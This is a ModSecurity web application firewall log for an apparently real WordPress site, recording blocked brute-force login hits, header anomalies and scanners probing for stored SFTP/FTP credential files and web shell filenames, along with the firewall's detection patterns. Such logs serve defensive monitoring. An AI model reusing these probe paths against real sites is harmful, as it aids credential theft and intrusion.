[Tue Jan 20 07:19:59.047141 2026] [:error] [pid 17622:tid 17697] [client 51.255.167.208:46686] [client 51.255.167.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.255.167.208, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW68Hy4cbbp8XKl0Ahl8gwAAAIw"]
[Tue Jan 20 08:16:38.075325 2026] [:error] [pid 17621:tid 17668] [client 68.178.164.217:47152] [client 68.178.164.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.164.217, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW7JZqQxAikbLpJvDI4AywAAAEo"]
[Tue Jan 20 10:31:49.158846 2026] [:error] [pid 10815:tid 10885] [client 68.183.94.38:45454] [client 68.183.94.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.94.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW7pFQ9T_LZs_dIvNQGmnAAAAQ0"]
[Tue Jan 20 11:22:28.294028 2026] [:error] [pid 54261:tid 54355] [client 43.130.60.195:55264] [client 43.130.60.195] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aW709AESZyr5alDl9TulCwAAAdQ"]
[Tue Jan 20 11:58:00.373355 2026] [:error] [pid 63647:tid 63660] [client 217.64.126.3:60760] [client 217.64.126.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.64.126.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW79SFUaYw1xHOoaFFKvGwAAAgs"]
[Tue Jan 20 12:39:32.556885 2026] [:error] [pid 56360:tid 56382] [client 178.62.32.109:54026] [client 178.62.32.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.32.109, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW8HBE1J8CD1rR-wXXvuHwAAARQ"]
[Tue Jan 20 13:44:02.831297 2026] [:error] [pid 8416:tid 8435] [client 185.74.81.105:38412] [client 185.74.81.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.74.81.105, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW8WIjN6cbQyA2ecQV2bvAAAAxE"]
[Tue Jan 20 14:53:05.539832 2026] [:error] [pid 8455:tid 8473] [client 64.111.22.172:40546] [client 64.111.22.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.111.22.172, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW8mUYJiHdPVtruynXB95QAAA1A"]
[Tue Jan 20 15:25:31.479690 2026] [:error] [pid 54260:tid 54330] [client 43.157.170.13:33990] [client 43.157.170.13] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aW8t69g7jS3jmpUN0WDztQAAAVU"]
[Tue Jan 20 16:04:45.108747 2026] [:error] [pid 54260:tid 54318] [client 213.132.222.51:49922] [client 213.132.222.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.132.222.51, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW83Hdg7jS3jmpUN0WD27wAAAUo"]
[Tue Jan 20 16:18:58.019289 2026] [:error] [pid 56326:tid 56328] [client 45.89.190.62:47838] [client 45.89.190.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.89.190.62, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW86chA6mi8Uwf45Uy_zGgAAAMA"]
[Tue Jan 20 16:19:51.109454 2026] [:error] [pid 54382:tid 54396] [client 35.187.115.6:49520] [client 35.187.115.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.187.115.6, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW86p0TJlZ9SJ6sBOEt8_wAAAAs"]
[Tue Jan 20 16:57:54.323834 2026] [:error] [pid 56360:tid 56378] [client 216.213.27.114:22761] [client 216.213.27.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.213.27.114, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW9Dkk1J8CD1rR-wXXsvawAAARA"], referer: https://vetstars.com.au/
[Tue Jan 20 16:57:58.019518 2026] [:error] [pid 56360:tid 56363] [client 216.213.27.114:50345] [client 216.213.27.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.213.27.114, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW9Dlk1J8CD1rR-wXXsvbQAAAQE"], referer: https://vetstars.com.au/wp-login.php?action=register
[Tue Jan 20 17:17:20.764785 2026] [:error] [pid 8416:tid 8421] [client 64.225.8.2:55126] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.vscode/ftp-config.json"] [unique_id "aW9IIDN6cbQyA2ecQV23IgAAAwM"]
[Tue Jan 20 17:17:23.410482 2026] [:error] [pid 8455:tid 8478] [client 64.225.8.2:62773] [client 64.225.8.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.vscode/sftp-config.json"] [unique_id "aW9II4JiHdPVtruynXCLnQAAA1U"]
[Tue Jan 20 17:17:25.864225 2026] [:error] [pid 56291:tid 56307] [client 64.225.8.2:55292] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sftp.json"] [unique_id "aW9IJbXgW_1T5Nikxa3SvAAAAEw"]
[Tue Jan 20 17:17:28.288510 2026] [:error] [pid 54259:tid 54290] [client 64.225.8.2:63596] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sftp.json"] [unique_id "aW9IKA2q1USrePnOoFTTwwAAAI0"]
[Tue Jan 20 17:17:30.359733 2026] [:error] [pid 8416:tid 8419] [client 64.225.8.2:54530] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftp-sync.json"] [unique_id "aW9IKjN6cbQyA2ecQV23QgAAAwE"]
[Tue Jan 20 17:17:32.750316 2026] [:error] [pid 56360:tid 56366] [client 64.225.8.2:61924] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftp-sync.json"] [unique_id "aW9ILE1J8CD1rR-wXXsz8gAAAQQ"]
[Tue Jan 20 17:17:35.306401 2026] [:error] [pid 54260:tid 54320] [client 64.225.8.2:52591] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftp.json"] [unique_id "aW9IL9g7jS3jmpUN0WD-gAAAAUw"]
[Tue Jan 20 17:17:37.818121 2026] [:error] [pid 56360:tid 56367] [client 64.225.8.2:60259] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftp-config.json"] [unique_id "aW9IMU1J8CD1rR-wXXsz9wAAAQU"]
[Tue Jan 20 17:17:40.349697 2026] [:error] [pid 54260:tid 54313] [client 64.225.8.2:51469] [client 64.225.8.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftp-config.json"] [unique_id "aW9INNg7jS3jmpUN0WD-gwAAAUU"]
[Tue Jan 20 17:17:42.885479 2026] [:error] [pid 63647:tid 63654] [client 64.225.8.2:59369] [client 64.225.8.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "aW9INlUaYw1xHOoaFFLotgAAAgU"]
[Tue Jan 20 17:23:46.615757 2026] [:error] [pid 54259:tid 54279] [client 160.250.187.3:57220] [client 160.250.187.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.250.187.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW9Jog2q1USrePnOoFTUsQAAAII"]
[Tue Jan 20 18:40:06.474618 2026] [:error] [pid 56326:tid 56337] [client 43.131.45.213:40704] [client 43.131.45.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aW9bhhA6mi8Uwf45Uy8YOAAAAMk"]
[Tue Jan 20 19:43:27.691189 2026] [:error] [pid 56360:tid 56379] [client 159.203.120.5:46222] [client 159.203.120.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.120.5, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW9qX01J8CD1rR-wXXtPpAAAARE"]
[Tue Jan 20 21:02:29.610557 2026] [:error] [pid 8416:tid 8441] [client 35.234.37.132:44946] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.234.37.132, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW985TN6cbQyA2ecQV3Y2AAAAxc"]
[Tue Jan 20 21:17:31.486643 2026] [:error] [pid 54382:tid 54403] [client 125.94.144.102:41872] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aW-Aa0TJlZ9SJ6sBOEu2wgAAABI"]
[Tue Jan 20 22:11:35.642307 2026] [:error] [pid 56291:tid 56305] [client 213.160.71.14:53918] [client 213.160.71.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.160.71.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW-NF7XgW_1T5Nikxa0DbQAAAEo"]
[Tue Jan 20 22:37:21.489370 2026] [:error] [pid 63647:tid 63651] [client 43.128.156.124:57244] [client 43.128.156.124] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aW-TIVUaYw1xHOoaFFImMwAAAgI"]
[Tue Jan 20 22:46:28.183041 2026] [:error] [pid 63647:tid 63671] [client 14.174.193.15:58999] [client 14.174.193.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.174.193.15, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aW-VRFUaYw1xHOoaFFIoZwAAAhY"], referer: https://vetstars.com.au/
[Tue Jan 20 23:27:07.596150 2026] [:error] [pid 17340:tid 17363] [client 164.132.207.73:55972] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.207.73, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW-ey_AsOSYVgw_35t29SwAAAkc"]
[Wed Jan 21 00:08:21.441502 2026] [:error] [pid 56360:tid 56376] [client 20.230.68.25:18881] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aW-odU1J8CD1rR-wXXt9AQAAAQ4"]
[Wed Jan 21 00:08:21.861338 2026] [:error] [pid 56360:tid 56363] [client 20.230.68.25:18838] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aW-odU1J8CD1rR-wXXt9AgAAAQE"]
[Wed Jan 21 00:08:22.331081 2026] [:error] [pid 54259:tid 54292] [client 20.230.68.25:18914] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aW-odg2q1USrePnOoFQXmQAAAI8"]
[Wed Jan 21 00:08:22.745724 2026] [:error] [pid 56360:tid 56377] [client 20.230.68.25:18909] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aW-odk1J8CD1rR-wXXt9BAAAAQ8"]
[Wed Jan 21 00:08:23.191448 2026] [:error] [pid 63647:tid 63649] [client 20.230.68.25:18898] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p.php"] [unique_id "aW-od1UaYw1xHOoaFFI44wAAAgA"]
[Wed Jan 21 00:08:23.600853 2026] [:error] [pid 8455:tid 8473] [client 20.230.68.25:18852] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p.php"] [unique_id "aW-od4JiHdPVtruynXDY8AAAA1A"]
[Wed Jan 21 00:08:24.077509 2026] [:error] [pid 56326:tid 56332] [client 20.230.68.25:18886] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p.php"] [unique_id "aW-oeBA6mi8Uwf45Uy9YyQAAAMQ"]
[Wed Jan 21 00:08:24.525607 2026] [:error] [pid 8455:tid 8468] [client 20.230.68.25:18916] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p.php"] [unique_id "aW-oeIJiHdPVtruynXDY8QAAA0s"]
[Wed Jan 21 00:08:25.079615 2026] [:error] [pid 8455:tid 8462] [client 20.230.68.25:18895] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/000.php"] [unique_id "aW-oeYJiHdPVtruynXDY8wAAA0U"]
[Wed Jan 21 00:08:25.507911 2026] [:error] [pid 8455:tid 8474] [client 20.230.68.25:18859] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/000.php"] [unique_id "aW-oeYJiHdPVtruynXDY9gAAA1E"]
[Wed Jan 21 00:08:26.048505 2026] [:error] [pid 17340:tid 17367] [client 20.230.68.25:18928] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/000.php"] [unique_id "aW-oevAsOSYVgw_35t3JNQAAAks"]
[Wed Jan 21 00:08:26.613770 2026] [:error] [pid 56326:tid 56338] [client 20.230.68.25:18913] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/000.php"] [unique_id "aW-oehA6mi8Uwf45Uy9YywAAAMo"]
[Wed Jan 21 00:08:27.130421 2026] [:error] [pid 56291:tid 56312] [client 20.230.68.25:18824] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aW-oe7XgW_1T5Nikxa0WlQAAAFE"]
[Wed Jan 21 00:08:27.603833 2026] [:error] [pid 63647:tid 63670] [client 20.230.68.25:18923] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aW-oe1UaYw1xHOoaFFI45wAAAhU"]
[Wed Jan 21 00:08:28.151588 2026] [:error] [pid 17340:tid 17368] [client 20.230.68.25:18889] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aW-ofPAsOSYVgw_35t3JNwAAAkw"]
[Wed Jan 21 00:08:28.632071 2026] [:error] [pid 63647:tid 63671] [client 20.230.68.25:18920] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aW-ofFUaYw1xHOoaFFI46AAAAhY"]
[Wed Jan 21 00:08:29.138250 2026] [:error] [pid 17295:tid 17304] [client 20.230.68.25:18839] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class20.php"] [unique_id "aW-offZJhGdrcqZICT-1XgAAAYY"]
[Wed Jan 21 00:08:29.805208 2026] [:error] [pid 17295:tid 17305] [client 20.230.68.25:18936] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class20.php"] [unique_id "aW-offZJhGdrcqZICT-1XwAAAYc"]
[Wed Jan 21 00:08:30.266112 2026] [:error] [pid 17295:tid 17321] [client 20.230.68.25:18910] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class20.php"] [unique_id "aW-ofvZJhGdrcqZICT-1YQAAAZc"]
[Wed Jan 21 00:08:30.703699 2026] [:error] [pid 17295:tid 17306] [client 20.230.68.25:18823] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class20.php"] [unique_id "aW-ofvZJhGdrcqZICT-1YgAAAYg"]
[Wed Jan 21 00:08:31.162394 2026] [:error] [pid 56326:tid 56340] [client 20.230.68.25:18880] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lol.php"] [unique_id "aW-ofxA6mi8Uwf45Uy9YzAAAAMw"]
[Wed Jan 21 00:08:31.756284 2026] [:error] [pid 17295:tid 17318] [client 20.230.68.25:18931] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lol.php"] [unique_id "aW-of_ZJhGdrcqZICT-1ZwAAAZQ"]
